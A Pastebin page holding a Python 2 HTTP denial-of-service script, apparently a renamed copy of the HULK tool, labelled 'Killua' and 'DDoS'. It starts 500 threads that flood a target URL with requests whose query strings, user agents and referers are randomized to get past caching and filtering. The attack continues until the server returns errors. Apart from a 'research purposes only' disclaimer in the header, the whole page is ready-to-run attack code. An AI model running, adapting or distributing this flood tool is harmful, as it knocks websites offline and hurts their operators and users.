Advertisement
Guest User

Untitled

a guest
Apr 30th, 2017
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.07 KB | None | 0 0
  1. # Killua
  2. # Killua
  3.  
  4. # ----------------------------------------------------------------------------------------------
  5. # root - HTTP Unbearable Load King
  6. #
  7. # this tool is a dos tool that is meant to put heavy load on HTTP servers in order to bring them
  8. # to their knees by exhausting the resource pool, its is meant for research purposes only
  9. # and any malicious usage of this tool is prohibited.
  10. #
  11. # author : Barry Shteiman , version 1.0
  12. # ----------------------------------------------------------------------------------------------
  13. import urllib2
  14. import sys
  15. import threading
  16. import random
  17. import re
  18.  
  19. #global params
  20. url=''
  21. host=''
  22. headers_useragents=[]
  23. headers_referers=[]
  24. request_counter=0
  25. flag=0
  26. safe=0
  27.  
  28. def inc_counter():
  29. global request_counter
  30. request_counter+=1
  31.  
  32. def set_flag(val):
  33. global flag
  34. flag=val
  35.  
  36. def set_safe():
  37. global safe
  38. safe=1
  39.  
  40. # generates a user agent array
  41. def useragent_list():
  42. global headers_useragents
  43. headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  44. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  45. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  46. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  47. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  48. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  49. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  50. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  51. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  52. headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  53. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  54. headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  55. return(headers_useragents)
  56.  
  57. # generates a referer array
  58. def referer_list():
  59. global headers_referers
  60. headers_referers.append('http://www.google.com/?q=')
  61. headers_referers.append('http://www.usatoday.com/search/results?q=')
  62. headers_referers.append('http://engadget.search.aol.com/search?q=')
  63. headers_referers.append('http://' + host + '/')
  64. return(headers_referers)
  65.  
  66. #builds random ascii string
  67. def buildblock(size):
  68. out_str = ''
  69. for i in range(0, size):
  70. a = random.randint(65, 90)
  71. out_str += chr(a)
  72. return(out_str)
  73.  
  74. def usage():
  75. print '---------------------------------------------------'
  76. print 'Killua'
  77. print 'DDoS'
  78. print '---------------------------------------------------'
  79.  
  80.  
  81. #http request
  82. def httpcall(url):
  83. useragent_list()
  84. referer_list()
  85. code=0
  86. if url.count("?")>0:
  87. param_joiner="&"
  88. else:
  89. param_joiner="?"
  90. request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
  91. request.add_header('User-Agent', random.choice(headers_useragents))
  92. request.add_header('Cache-Control', 'no-cache')
  93. request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
  94. request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
  95. request.add_header('Keep-Alive', random.randint(110,120))
  96. request.add_header('Connection', 'keep-alive')
  97. request.add_header('Host',host)
  98. try:
  99. urllib2.urlopen(request)
  100. except urllib2.HTTPError, e:
  101. #print e.code
  102. set_flag(1)
  103. print 'Se enviaron 65000 paquetes'
  104. code=500
  105. except urllib2.URLError, e:
  106. #print e.reason
  107. sys.exit()
  108. else:
  109. inc_counter()
  110. urllib2.urlopen(request)
  111. return(code)
  112.  
  113.  
  114. #http caller thread
  115. class HTTPThread(threading.Thread):
  116. def run(self):
  117. try:
  118. while flag<2:
  119. code=httpcall(url)
  120. if (code==500) & (safe==1):
  121. set_flag(2)
  122. except Exception, ex:
  123. pass
  124.  
  125. # monitors http threads and counts requests
  126. class MonitorThread(threading.Thread):
  127. def run(self):
  128. previous=request_counter
  129. while flag==0:
  130. if (previous+100<request_counter) & (previous<>request_counter):
  131. print "%d Requests Sent" % (request_counter)
  132. previous=request_counter
  133. if flag==2:
  134. print "\n-- Fatalitye --"
  135.  
  136. #execute
  137. if len(sys.argv) < 2:
  138. usage()
  139. sys.exit()
  140. else:
  141. if sys.argv[1]=="help":
  142. usage()
  143. sys.exit()
  144. else:
  145. print "-- ConchitaAtaque --"
  146. if len(sys.argv)== 3:
  147. if sys.argv[2]=="safe":
  148. set_safe()
  149. url = sys.argv[1]
  150. if url.count("/")==2:
  151. url = url + "/"
  152. m = re.search('http\://([^/]*)/?.*', url)
  153. host = m.group(1)
  154. for i in range(500):
  155. t = HTTPThread()
  156. t.start()
  157. t = MonitorThread()
  158. t.start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement